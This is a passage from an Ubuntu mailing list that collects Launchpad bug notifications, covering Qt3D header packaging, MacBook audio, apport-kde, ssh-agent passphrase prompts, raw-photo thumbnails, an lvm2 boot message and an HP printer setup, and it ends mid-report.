** Changed in: qt3d-opensource-src (Ubuntu)
   Status: New => Fix Committed

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to qt3d-opensource-src in
Ubuntu.
https://bugs.launchpad.net/bugs/1878233

Title:
  Unable to locate package/Headers missing

Status in qt3d-opensource-src package in Ubuntu:
  Fix Committed

Bug description:
  Hi,

  I am a scientific software developper and I'm trying to use Qt3D on Ubuntu 
20.04LTS.
  I am not used to filing bugs here, sorry if its not following the standards, 
any comments on this will also be appreciated.

  Here is a list of the packages I installed prior to this bug.
  sudo apt install qt3d5-dev
  sudo apt install qt3d5-dev-tools
  sudo apt install qt3d-assimpsceneimport-plugin
  sudo apt install qt3d-defaultgeometryloader-plugin
  sudo apt install qt3d-gltfsceneio-plugin
  sudo apt install qt3d-scene2d-plugin
  sudo apt install qml-module-qt3d

  I also ran the command line:
  sudo strip --remove-section=.note.ABI-tag 
/usr/lib/x86_64-linux-gnu/libQt5Core.so.5

  as per my computer science colleague request

  But I am having errors left and right concerning the headers, as much
  as I actually have to include in my CMakleLists.txt those lines (I
  started to debug from Windows to Linux since our scientific build
  machine uses this target):

  #- *target*
  # Note: 3D Disabled on build machine because of 3D in QT
  if( ${CMAKE_SYSTEM_NAME} STREQUAL "Windows")
add_subdirectory(*target*)
set_target_properties(*target* PROPERTIES FOLDER "apps/*target*")
#Tell CMake to produce a visual studio Qt Project for integration with Qt 
Vs Tools
set_target_properties(*target* PROPERTIES VS_GLOBAL_KEYWORD Qt4VSv1.0)
  else
include_directories("/usr/include/x86_64-linux-gnu/qt5/Qt3DCore")
include_directories("/usr/include/x86_64-linux-gnu/qt5/Qt3DRender")
include_directories("/usr/include/x86_64-linux-gnu/qt5/Qt3DExtras") ->this 
one useless
  endif()

  as you can see:
  /usr/include/x86_64-linux-gnu/qt5$ ls
  Qt3DCoreQt3DQuickRender   QtDBusQtNetwork   
QtPositioning   QtQuick   QtSerialPort  QtUiTools   QtWebKit
  Qt3DInput   Qt3DQuickScene2D  QtDesignerQtOpenGL
QtPositioningQuick  QtQuickParticles  QtSql QtWebChannel
QtWebKitWidgets
  Qt3DLogic   Qt3DRenderQtDesignerComponents  QtOpenGLExtensions  
QtPrintSupport  QtQuickShapes QtSvg QtWebEngine 
QtWidgets
  Qt3DQuick   QtConcurrent  QtGui QtPacketProtocol
QtQml   QtQuickTest   QtTestQtWebEngineCore QtXml
  Qt3DQuickInput  QtCoreQtHelpQtPlatformHeaders   
QtQmlDebug  QtQuickWidgetsQtUiPluginQtWebEngineWidgets

  And this sub-package that you have does not contain the headers.
  https://packages.ubuntu.com/focal/amd64/libqt53dextras5/filelist

  I think I will also be submitting there I find it weird.
  I will probably download Qt3D sources and temporarily link the headers 
directly there but this is far from optimal for a build machine, as you might 
expect. 

  And finaly, this packages appear when I tab on: apt install qt3d-op...
  but when I run the install it cant find it. This is probably the issue that 
you want to look at, as I will be going to this other package to see why the 
headers are not following.

  Thank you very much and I hope I followed the guidelines here are my infos:
  /usr/include/x86_64-linux-gnu/qt5$ lsb_release -rd
  Description:  Ubuntu 20.04 LTS
  Release:  20.04

  apt-cache policy qt3d-opensource-src 
  N: Unable to locate package qt3d-opensource-src

  /usr/include/x86_64-linux-gnu/qt5$ apt-cache policy libqt53dextras5 
  libqt53dextras5:
Installed: 5.12.8+dfsg-0ubuntu1
Candidate: 5.12.8+dfsg-0ubuntu1
Version table:
   *** 5.12.8+dfsg-0ubuntu1 500
  500 http://ca.archive.ubuntu.com/ubuntu focal/universe amd64 Packages
  100 /var/lib/dpkg/status

  /usr/include/x86_64-linux-gnu/qt5$ sudo apt install qt3d-opensource-src 
  Reading package lists... Done
  Building dependency tree   
  Reading state information... Done
  E: Unable to locate package qt3d-opensource-src

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/qt3d-opensource-src/+bug/1878233/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1879495] [NEW] [MacBookPro1, 2, SigmaTel STAC9221 A1, White Speaker, Internal] No sound at all

2020-05-19 Thread Uday Trivedi
Public bug reported:

I have tried all the online sites and still cannot get any sound out of
my speakers. The speakers do work when I launch the MacOSX platform.

ProblemType: Bug
DistroRelease: Ubuntu 16.04
Package: alsa-base 1.0.25+dfsg-0ubuntu5
ProcVersionSignature: Ubuntu 4.15.0-101.102~16.04.1-generic 4.15.18
Uname: Linux 4.15.0-101-generic i686
ApportVersion: 2.20.1-0ubuntu2.23
Architecture: i386
AudioDevicesInUse:
 USERPID ACCESS COMMAND
 /dev/snd/controlC0:  uday   1536 F pulseaudio
CurrentDesktop: Unity
Date: Tue May 19 13:42:22 2020
InstallationDate: Installed on 2020-05-18 (0 days ago)
InstallationMedia: Ubuntu 16.04.6 LTS "Xenial Xerus" - Release i386 (20190227.1)
PackageArchitecture: all
SourcePackage: alsa-driver
Symptom: audio
Symptom_AlsaPlaybackTest: ALSA playback test through plughw:Intel failed
Symptom_Card: Built-in Audio - HDA Intel
Symptom_DevicesInUse:
 USERPID ACCESS COMMAND
 /dev/snd/controlC0:  uday   1536 F pulseaudio
Symptom_Jack: White Speaker, Internal
Symptom_Type: No sound at all
Title: [MacBookPro1,2, SigmaTel STAC9221 A1, White Speaker, Internal] No sound 
at all
UpgradeStatus: No upgrade log present (probably fresh install)
dmi.bios.date: 10/12/06
dmi.bios.vendor: Apple Computer, Inc.
dmi.bios.version: MBP12.88Z.0061.B03.0610121334
dmi.board.asset.tag: Base Board Asset Tag
dmi.board.name: Mac-F42DBEC8
dmi.board.vendor: Apple Computer, Inc.
dmi.board.version: PVT
dmi.chassis.asset.tag: Asset Tag
dmi.chassis.type: 8
dmi.chassis.vendor: Apple Computer, Inc.
dmi.chassis.version: Mac-F42DBEC8
dmi.modalias: 
dmi:bvnAppleComputer,Inc.:bvrMBP12.88Z.0061.B03.0610121334:bd10/12/06:svnAppleComputer,Inc.:pnMacBookPro1,2:pvr1.0:rvnAppleComputer,Inc.:rnMac-F42DBEC8:rvrPVT:cvnAppleComputer,Inc.:ct8:cvrMac-F42DBEC8:
dmi.product.family: Napa Mac
dmi.product.name: MacBookPro1,2
dmi.product.version: 1.0
dmi.sys.vendor: Apple Computer, Inc.

** Affects: alsa-driver (Ubuntu)
 Importance: Undecided
 Status: New


** Tags: apport-bug i386 xenial

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to alsa-driver in Ubuntu.
https://bugs.launchpad.net/bugs/1879495

Title:
  [MacBookPro1,2, SigmaTel STAC9221 A1, White Speaker, Internal] No
  sound at all

Status in alsa-driver package in Ubuntu:
  New

Bug description:
  I have tried all the online sites and still cannot get any sound out
  of my speakers. The speakers do work when I launch the MacOSX
  platform.

  ProblemType: Bug
  DistroRelease: Ubuntu 16.04
  Package: alsa-base 1.0.25+dfsg-0ubuntu5
  ProcVersionSignature: Ubuntu 4.15.0-101.102~16.04.1-generic 4.15.18
  Uname: Linux 4.15.0-101-generic i686
  ApportVersion: 2.20.1-0ubuntu2.23
  Architecture: i386
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC0:  uday   1536 F pulseaudio
  CurrentDesktop: Unity
  Date: Tue May 19 13:42:22 2020
  InstallationDate: Installed on 2020-05-18 (0 days ago)
  InstallationMedia: Ubuntu 16.04.6 LTS "Xenial Xerus" - Release i386 
(20190227.1)
  PackageArchitecture: all
  SourcePackage: alsa-driver
  Symptom: audio
  Symptom_AlsaPlaybackTest: ALSA playback test through plughw:Intel failed
  Symptom_Card: Built-in Audio - HDA Intel
  Symptom_DevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC0:  uday   1536 F pulseaudio
  Symptom_Jack: White Speaker, Internal
  Symptom_Type: No sound at all
  Title: [MacBookPro1,2, SigmaTel STAC9221 A1, White Speaker, Internal] No 
sound at all
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 10/12/06
  dmi.bios.vendor: Apple Computer, Inc.
  dmi.bios.version: MBP12.88Z.0061.B03.0610121334
  dmi.board.asset.tag: Base Board Asset Tag
  dmi.board.name: Mac-F42DBEC8
  dmi.board.vendor: Apple Computer, Inc.
  dmi.board.version: PVT
  dmi.chassis.asset.tag: Asset Tag
  dmi.chassis.type: 8
  dmi.chassis.vendor: Apple Computer, Inc.
  dmi.chassis.version: Mac-F42DBEC8
  dmi.modalias: 
dmi:bvnAppleComputer,Inc.:bvrMBP12.88Z.0061.B03.0610121334:bd10/12/06:svnAppleComputer,Inc.:pnMacBookPro1,2:pvr1.0:rvnAppleComputer,Inc.:rnMac-F42DBEC8:rvrPVT:cvnAppleComputer,Inc.:ct8:cvrMac-F42DBEC8:
  dmi.product.family: Napa Mac
  dmi.product.name: MacBookPro1,2
  dmi.product.version: 1.0
  dmi.sys.vendor: Apple Computer, Inc.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/1879495/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1879150] Re: apport-kde shows 'text' instead of text in message box

2020-05-19 Thread Francis Ginther
** Tags added: id-5ec2cf7b231b696d93238639

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1879150

Title:
  apport-kde shows 'text' instead of text in message box

Status in apport package in Ubuntu:
  Fix Released
Status in apport source package in Xenial:
  Confirmed
Status in apport source package in Bionic:
  New
Status in apport source package in Eoan:
  New
Status in apport source package in Focal:
  Triaged

Bug description:
  I had some other software crashing and wanting to report a bug, Apport
  displayed a pretty nonsensical message box (see the screenshot).

  $ lsb_release -rd
  Description:Ubuntu 20.04 LTS
  Release:20.04
  $ apt-cache policy apport-kde
  apport-kde:
Installed: 2.20.11-0ubuntu27
Candidate: 2.20.11-0ubuntu27
Version table:
   *** 2.20.11-0ubuntu27 500
  500 http://de.archive.ubuntu.com/ubuntu focal/universe amd64 Packages
  500 http://de.archive.ubuntu.com/ubuntu focal/universe i386 Packages
  100 /var/lib/dpkg/status

  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: apport-kde 2.20.11-0ubuntu27
  ProcVersionSignature: Ubuntu 5.4.0-29.33-generic 5.4.30
  Uname: Linux 5.4.0-29-generic x86_64
  ApportVersion: 2.20.11-0ubuntu27
  Architecture: amd64
  CasperMD5CheckResult: skip
  CurrentDesktop: KDE
  Date: Sun May 17 14:11:30 2020
  InstallationDate: Installed on 2015-12-11 (1618 days ago)
  InstallationMedia: Kubuntu 14.04.3 LTS "Trusty Tahr" - Beta amd64 (20150805)
  PackageArchitecture: all
  SourcePackage: apport
  UpgradeStatus: Upgraded to focal on 2020-05-15 (1 days ago)
  mtime.conffile..etc.apport.crashdb.conf: 2019-11-21T10:33:51.640107

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1879150/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1764044] Re: ssh-add asks about passphrases for keys already unlocked in the keychain

2020-05-19 Thread Rafael David Tinoco
Rolf,

Thank you for taking the time to file a bug report.

I have just used the following in my .bashrc (like keychain man page
says so):

"""
keychain id_rsa id_dsa id_ecdsa

[ -z "$HOSTNAME" ] && HOSTNAME=`uname -n`
[ -f $HOME/.keychain/$HOSTNAME-sh ] && . $HOME/.keychain/$HOSTNAME-sh
[ -f $HOME/.keychain/$HOSTNAME-sh-gpg ] && . $HOME/.keychain/$HOSTNAME-sh-gpg
"""

and I have all my keys already set:

"""
 * keychain 2.8.5 ~ http://www.funtoo.org
 * Found existing ssh-agent: 3684816
 * Known ssh key: /home/rafaeldtinoco/.ssh/id_rsa
 * Known ssh key: /home/rafaeldtinoco/.ssh/id_dsa
 * Known ssh key: /home/rafaeldtinoco/.ssh/id_ecdsa

rafaeldtinoco@workstation:~$ 
"""

for every new shell. Just needed to put my password once.

Since it seems likely to me that this is a local configuration problem,
rather than a bug in Ubuntu, I am marking this bug as 'Incomplete'.

However, if you believe that this is really a bug in Ubuntu, then we would
be grateful if you would provide a more complete description of the problem
with steps to reproduce, explain why you believe this is a bug in Ubuntu
rather than a problem specific to your system, and then change the bug
status back to "New".

For local configuration issues, you can find assistance here:
http://www.ubuntu.com/support/community


** Changed in: openssh (Ubuntu)
   Status: New => Incomplete

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to openssh in Ubuntu.
https://bugs.launchpad.net/bugs/1764044

Title:
  ssh-add asks about passphrases for keys already unlocked in the
  keychain

Status in openssh package in Ubuntu:
  Incomplete

Bug description:
  In the below example, on the second invocation of ssh-add I should not
  be prompted to enter the passphrase again after I successfully entered
  it on the first instance.  This used to work fine in trusty i386
  setup.

  $ keychain && ssh-add

   * keychain 2.8.2 ~ http://www.funtoo.org
   * Starting ssh-agent...

  Enter passphrase for /home/rolf/.ssh/id_rsa:
  Identity added: /home/rolf/.ssh/id_rsa (/home/rolf/.ssh/id_rsa)
  Enter passphrase for /home/rolf/.ssh/id_dsa:
  Identity added: /home/rolf/.ssh/id_dsa (/home/rolf/.ssh/id_dsa)

  $ keychain && ssh-add

   * keychain 2.8.2 ~ http://www.funtoo.org
   * Found existing ssh-agent: 25744

  Enter passphrase for /home/rolf/.ssh/id_rsa:
  Identity added: /home/rolf/.ssh/id_rsa (/home/rolf/.ssh/id_rsa)
  Enter passphrase for /home/rolf/.ssh/id_dsa:
  Identity added: /home/rolf/.ssh/id_dsa (/home/rolf/.ssh/id_dsa)

  gnome-keyring is running:
  $ ps -ax|grep key
   2067 ?SLl0:05 /usr/bin/gnome-keyring-daemon --start --components 
ssh
   2078 ?Ssl0:01 
/usr/lib/x86_64-linux-gnu/indicator-keyboard/indicator-keyboard-service 
--use-gtk
   6987 ?S  0:00 /usr/bin/ssh-agent -D -a 
/run/user/1000/keyring/.ssh
  17832 pts/2S+ 0:00 grep --color=auto key

  ssh-agent is running:
  $ ps aux | grep ssh-agent
  leggewie  1928  0.0  0.0  15548   340 ?Ss   02:38   0:00 
/usr/bin/ssh-agent /usr/bin/im-launch env LD_PRELOAD=libgtk3-nocsd.so.0 
/usr/lib/gnome-session/run-systemd-session unity-session.target
  leggewie  6987  0.0  0.0  11304  1484 ?S02:50   0:00 
/usr/bin/ssh-agent -D -a /run/user/1000/keyring/.ssh
  leggewie  9952  0.0  0.0  11304   320 ?Ss   04:11   0:00 ssh-agent 
bash
  leggewie 17850  0.0  0.0  14492  1160 pts/2S+   06:06   0:00 grep 
--color=auto ssh-agent

  $ env|grep SSH
  SSH_AUTH_SOCK=/tmp/ssh-W6fuGBztRRds/agent.6992
  SSH_AGENT_PID=9952
  SSH_AGENT_LAUNCHER=gnome-keyring

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/openssh/+bug/1764044/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1879488] Re: raw NEF thumbnails not processed

2020-05-19 Thread Christians
** Description changed:

  Raw NEF thumbnails are not displayed in Nautilus.
  
  FIX
  
  Add missing mime types to  /usr/share/thumbnailers/gdk-pixbuf-
  thumbnailer.thumbnailer
  
  This is described here https://askubuntu.com/questions/283072/nautilus-
  isnt-displaying-thumbnails-for-my-nef-files-photo-raw
  
+ RAW mime types to add: image/x-3fr;image/x-adobe-
+ dng;image/x-arw;image/x-bay;image/x-canon-cr2;image/x-canon-
+ 
crw;image/x-cap;image/x-cr2;image/x-crw;image/x-dcr;image/x-dcraw;image/x-dcs;image/x-dng;image/x-drf;image/x-eip;image/x-erf;image/x-fff;image/x
+ -fuji-raf;image/x-iiq;image/x-k25;image/x-kdc;image/x-mef;image/x
+ -minolta-mrw;image/x-mos;image/x-mrw;image/x-nef;image/x-nikon-
+ nef;image/x-nrw;image/x-olympus-orf;image/x-orf;image/x-panasonic-
+ raw;image/x-panasonic-raw2;image/x-pef;image/x-pentax-
+ 
pef;image/x-ptx;image/x-pxn;image/x-r3d;image/x-raf;image/x-raw;image/x-rw2;image/x-rwl;image/x-rwz;image/x
+ -samsung-srw;image/x-sigma-x3f;image/x-sony-arw;image/x-sony-sr2;image/x
+ -sony-srf;image/x-sr2;image/x-srf;image/x-x3f;
  
- RAW mime types to add: 
image/x-3fr;image/x-adobe-dng;image/x-arw;image/x-bay;image/x-canon-cr2;image/x-canon-crw;image/x-cap;image/x-cr2;image/x-crw;image/x-dcr;image/x-dcraw;image/x-dcs;image/x-dng;image/x-drf;image/x-eip;image/x-erf;image/x-fff;image/x-fuji-raf;image/x-iiq;image/x-k25;image/x-kdc;image/x-mef;image/x-minolta-mrw;image/x-mos;image/x-mrw;image/x-nef;image/x-nikon-nef;image/x-nrw;image/x-olympus-orf;image/x-orf;image/x-panasonic-raw;image/x-panasonic-raw2;image/x-pef;image/x-pentax-pef;image/x-ptx;image/x-pxn;image/x-r3d;image/x-raf;image/x-raw;image/x-rw2;image/x-rwl;image/x-rwz;image/x-samsung-srw;image/x-sigma-x3f;image/x-sony-arw;image/x-sony-sr2;image/x-sony-srf;image/x-sr2;image/x-srf;image/x-x3f;
- 
- Please consider changing the thumbnailer conifg so it wokrs out of the
- box.
+ Please consider changing the thumbnailer conifg so it will work out of
+ the box.
  
  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: libgdk-pixbuf2.0-bin 2.40.0+dfsg-3 [modified: 
usr/share/thumbnailers/gdk-pixbuf-thumbnailer.thumbnailer]
  ProcVersionSignature: Ubuntu 5.4.0-31.35-generic 5.4.34
  Uname: Linux 5.4.0-31-generic x86_64
  NonfreeKernelModules: nvidia_modeset nvidia
  ApportVersion: 2.20.11-0ubuntu27
  Architecture: amd64
  CasperMD5CheckResult: skip
  CurrentDesktop: ubuntu:GNOME
  Date: Tue May 19 12:48:25 2020
  InstallationDate: Installed on 2020-05-11 (7 days ago)
  InstallationMedia: Ubuntu 20.04 LTS "Focal Fossa" - Release amd64 (20200423)
  SourcePackage: gdk-pixbuf
  UpgradeStatus: No upgrade log present (probably fresh install)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to gdk-pixbuf in Ubuntu.
https://bugs.launchpad.net/bugs/1879488

Title:
  raw NEF thumbnails not processed

Status in gdk-pixbuf package in Ubuntu:
  New

Bug description:
  Raw NEF thumbnails are not displayed in Nautilus.

  FIX

  Add missing mime types to  /usr/share/thumbnailers/gdk-pixbuf-
  thumbnailer.thumbnailer

  This is described here https://askubuntu.com/questions/283072
  /nautilus-isnt-displaying-thumbnails-for-my-nef-files-photo-raw

  RAW mime types to add: image/x-3fr;image/x-adobe-
  dng;image/x-arw;image/x-bay;image/x-canon-cr2;image/x-canon-
  
crw;image/x-cap;image/x-cr2;image/x-crw;image/x-dcr;image/x-dcraw;image/x-dcs;image/x-dng;image/x-drf;image/x-eip;image/x-erf;image/x-fff;image/x
  -fuji-raf;image/x-iiq;image/x-k25;image/x-kdc;image/x-mef;image/x
  -minolta-mrw;image/x-mos;image/x-mrw;image/x-nef;image/x-nikon-
  nef;image/x-nrw;image/x-olympus-orf;image/x-orf;image/x-panasonic-
  raw;image/x-panasonic-raw2;image/x-pef;image/x-pentax-
  
pef;image/x-ptx;image/x-pxn;image/x-r3d;image/x-raf;image/x-raw;image/x-rw2;image/x-rwl;image/x-rwz;image/x
  -samsung-srw;image/x-sigma-x3f;image/x-sony-arw;image/x-sony-
  sr2;image/x-sony-srf;image/x-sr2;image/x-srf;image/x-x3f;

  Please consider changing the thumbnailer conifg so it will work out of
  the box.

  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: libgdk-pixbuf2.0-bin 2.40.0+dfsg-3 [modified: 
usr/share/thumbnailers/gdk-pixbuf-thumbnailer.thumbnailer]
  ProcVersionSignature: Ubuntu 5.4.0-31.35-generic 5.4.34
  Uname: Linux 5.4.0-31-generic x86_64
  NonfreeKernelModules: nvidia_modeset nvidia
  ApportVersion: 2.20.11-0ubuntu27
  Architecture: amd64
  CasperMD5CheckResult: skip
  CurrentDesktop: ubuntu:GNOME
  Date: Tue May 19 12:48:25 2020
  InstallationDate: Installed on 2020-05-11 (7 days ago)
  InstallationMedia: Ubuntu 20.04 LTS "Focal Fossa" - Release amd64 (20200423)
  SourcePackage: gdk-pixbuf
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gdk-pixbuf/+bug/1879488/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : 

[Touch-packages] [Bug 1879488] [NEW] raw NEF thumbnails not processed

2020-05-19 Thread Christians
Public bug reported:

Raw NEF thumbnails are not displayed in Nautilus.

FIX

Add missing mime types to  /usr/share/thumbnailers/gdk-pixbuf-
thumbnailer.thumbnailer

This is described here https://askubuntu.com/questions/283072/nautilus-
isnt-displaying-thumbnails-for-my-nef-files-photo-raw


RAW mime types to add: 
image/x-3fr;image/x-adobe-dng;image/x-arw;image/x-bay;image/x-canon-cr2;image/x-canon-crw;image/x-cap;image/x-cr2;image/x-crw;image/x-dcr;image/x-dcraw;image/x-dcs;image/x-dng;image/x-drf;image/x-eip;image/x-erf;image/x-fff;image/x-fuji-raf;image/x-iiq;image/x-k25;image/x-kdc;image/x-mef;image/x-minolta-mrw;image/x-mos;image/x-mrw;image/x-nef;image/x-nikon-nef;image/x-nrw;image/x-olympus-orf;image/x-orf;image/x-panasonic-raw;image/x-panasonic-raw2;image/x-pef;image/x-pentax-pef;image/x-ptx;image/x-pxn;image/x-r3d;image/x-raf;image/x-raw;image/x-rw2;image/x-rwl;image/x-rwz;image/x-samsung-srw;image/x-sigma-x3f;image/x-sony-arw;image/x-sony-sr2;image/x-sony-srf;image/x-sr2;image/x-srf;image/x-x3f;

Please consider changing the thumbnailer conifg so it wokrs out of the
box.

ProblemType: Bug
DistroRelease: Ubuntu 20.04
Package: libgdk-pixbuf2.0-bin 2.40.0+dfsg-3 [modified: 
usr/share/thumbnailers/gdk-pixbuf-thumbnailer.thumbnailer]
ProcVersionSignature: Ubuntu 5.4.0-31.35-generic 5.4.34
Uname: Linux 5.4.0-31-generic x86_64
NonfreeKernelModules: nvidia_modeset nvidia
ApportVersion: 2.20.11-0ubuntu27
Architecture: amd64
CasperMD5CheckResult: skip
CurrentDesktop: ubuntu:GNOME
Date: Tue May 19 12:48:25 2020
InstallationDate: Installed on 2020-05-11 (7 days ago)
InstallationMedia: Ubuntu 20.04 LTS "Focal Fossa" - Release amd64 (20200423)
SourcePackage: gdk-pixbuf
UpgradeStatus: No upgrade log present (probably fresh install)

** Affects: gdk-pixbuf (Ubuntu)
 Importance: Undecided
 Status: New


** Tags: amd64 apport-bug focal

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to gdk-pixbuf in Ubuntu.
https://bugs.launchpad.net/bugs/1879488

Title:
  raw NEF thumbnails not processed

Status in gdk-pixbuf package in Ubuntu:
  New

Bug description:
  Raw NEF thumbnails are not displayed in Nautilus.

  FIX

  Add missing mime types to  /usr/share/thumbnailers/gdk-pixbuf-
  thumbnailer.thumbnailer

  This is described here https://askubuntu.com/questions/283072
  /nautilus-isnt-displaying-thumbnails-for-my-nef-files-photo-raw

  
  RAW mime types to add: 
image/x-3fr;image/x-adobe-dng;image/x-arw;image/x-bay;image/x-canon-cr2;image/x-canon-crw;image/x-cap;image/x-cr2;image/x-crw;image/x-dcr;image/x-dcraw;image/x-dcs;image/x-dng;image/x-drf;image/x-eip;image/x-erf;image/x-fff;image/x-fuji-raf;image/x-iiq;image/x-k25;image/x-kdc;image/x-mef;image/x-minolta-mrw;image/x-mos;image/x-mrw;image/x-nef;image/x-nikon-nef;image/x-nrw;image/x-olympus-orf;image/x-orf;image/x-panasonic-raw;image/x-panasonic-raw2;image/x-pef;image/x-pentax-pef;image/x-ptx;image/x-pxn;image/x-r3d;image/x-raf;image/x-raw;image/x-rw2;image/x-rwl;image/x-rwz;image/x-samsung-srw;image/x-sigma-x3f;image/x-sony-arw;image/x-sony-sr2;image/x-sony-srf;image/x-sr2;image/x-srf;image/x-x3f;

  Please consider changing the thumbnailer conifg so it wokrs out of the
  box.

  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: libgdk-pixbuf2.0-bin 2.40.0+dfsg-3 [modified: 
usr/share/thumbnailers/gdk-pixbuf-thumbnailer.thumbnailer]
  ProcVersionSignature: Ubuntu 5.4.0-31.35-generic 5.4.34
  Uname: Linux 5.4.0-31-generic x86_64
  NonfreeKernelModules: nvidia_modeset nvidia
  ApportVersion: 2.20.11-0ubuntu27
  Architecture: amd64
  CasperMD5CheckResult: skip
  CurrentDesktop: ubuntu:GNOME
  Date: Tue May 19 12:48:25 2020
  InstallationDate: Installed on 2020-05-11 (7 days ago)
  InstallationMedia: Ubuntu 20.04 LTS "Focal Fossa" - Release amd64 (20200423)
  SourcePackage: gdk-pixbuf
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gdk-pixbuf/+bug/1879488/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1871154] Re: Error message displayed during boot (mountroot hook, premount)

2020-05-19 Thread Laurent Bonnaud
Here is a nicer screenshot taken in a VM.


** Attachment added: "Screenshot_20200519_093250.png"
   
https://bugs.launchpad.net/ubuntu/+source/lvm2/+bug/1871154/+attachment/5373950/+files/Screenshot_20200519_093250.png

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to lvm2 in Ubuntu.
https://bugs.launchpad.net/bugs/1871154

Title:
  Error message displayed during boot (mountroot hook, premount)

Status in lvm2 package in Ubuntu:
  New

Bug description:
  Hi,

  my Ubuntu system uses LVM2 for its root file system.  It boots
  correctly, but an ugly error message is displayed during boot.

  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: lvm2 2.03.07-1ubuntu1
  Uname: Linux 5.6.2-050602-generic x86_64
  ApportVersion: 2.20.11-0ubuntu22
  Architecture: amd64
  CurrentDesktop: KDE
  Date: Mon Apr  6 17:59:03 2020
  SourcePackage: lvm2
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/lvm2/+bug/1871154/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1879206] Re: cups hplip not install printer

2020-05-19 Thread Stefano Dall'Agata
I did tests with both Hplip installed as .snap and command line and from
upstream site.

~$ dpkg -l | grep hplip
ii  hplip  3.20.3+dfsg0-2   
  amd64HP Linux Printing and Imaging System (HPLIP)
ii  hplip-data 3.20.3+dfsg0-2   
  all  HP Linux Printing and Imaging - data files

How can I possibly remove that from the upstream site?

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to cups in Ubuntu.
https://bugs.launchpad.net/bugs/1879206

Title:
  cups hplip not install printer

Status in cups package in Ubuntu:
  New
Status in hplip package in Ubuntu:
  Incomplete

Bug description:
  After upgrading to Ubuntu 20.04 I can't print anymore.

  Description:  Ubuntu 20.04 LTS
  Release:  20.04

  cups:
Installato: 2.3.1-9ubuntu1.1
Candidato:  2.3.1-9ubuntu1.1
Tabella versione:
   *** 2.3.1-9ubuntu1.1 500
  500 http://it.archive.ubuntu.com/ubuntu focal-updates/main amd64 
Packages
  500 http://security.ubuntu.com/ubuntu focal-security/main amd64 
Packages
  100 /var/lib/dpkg/status
   2.3.1-9ubuntu1 500
  500 http://it.archive.ubuntu.com/ubuntu focal/main amd64 Packages

  hplip:
Installato: 3.20.3+dfsg0-2
Candidato:  3.20.3+dfsg0-2
Tabella versione:
   *** 3.20.3+dfsg0-2 500
  500 http://it.archive.ubuntu.com/ubuntu focal/main amd64 Packages
  100 /var/lib/dpkg/status

  
  I tried to reinstall the printer, but it is not being re-saved by cups / hplip

  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: cups 2.3.1-9ubuntu1.1
  ProcVersionSignature: Ubuntu 5.4.0-29.33-generic 5.4.30
  Uname: Linux 5.4.0-29-generic x86_64
  ApportVersion: 2.20.11-0ubuntu27
  Architecture: amd64
  CasperMD5CheckResult: skip
  CurrentDesktop: ubuntu:GNOME
  Date: Mon May 18 02:24:07 2020
  InstallationDate: Installed on 2020-05-17 (0 days ago)
  InstallationMedia: Ubuntu 20.04 LTS "Focal Fossa" - Release amd64 (20200423)
  Lpstat: device for DeskJet_3630: 
hp:/usb/DeskJet_3630_series?serial=CN8AM7H3230658
  MachineType: LENOVO 80G0
  Papersize: a4
  PpdFiles: Error: command ['fgrep', '-H', '*NickName', 
'/etc/cups/ppd/DeskJet_3630.ppd'] failed with exit code 2: grep: 
/etc/cups/ppd/DeskJet_3630.ppd: Permission denied
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.4.0-29-generic 
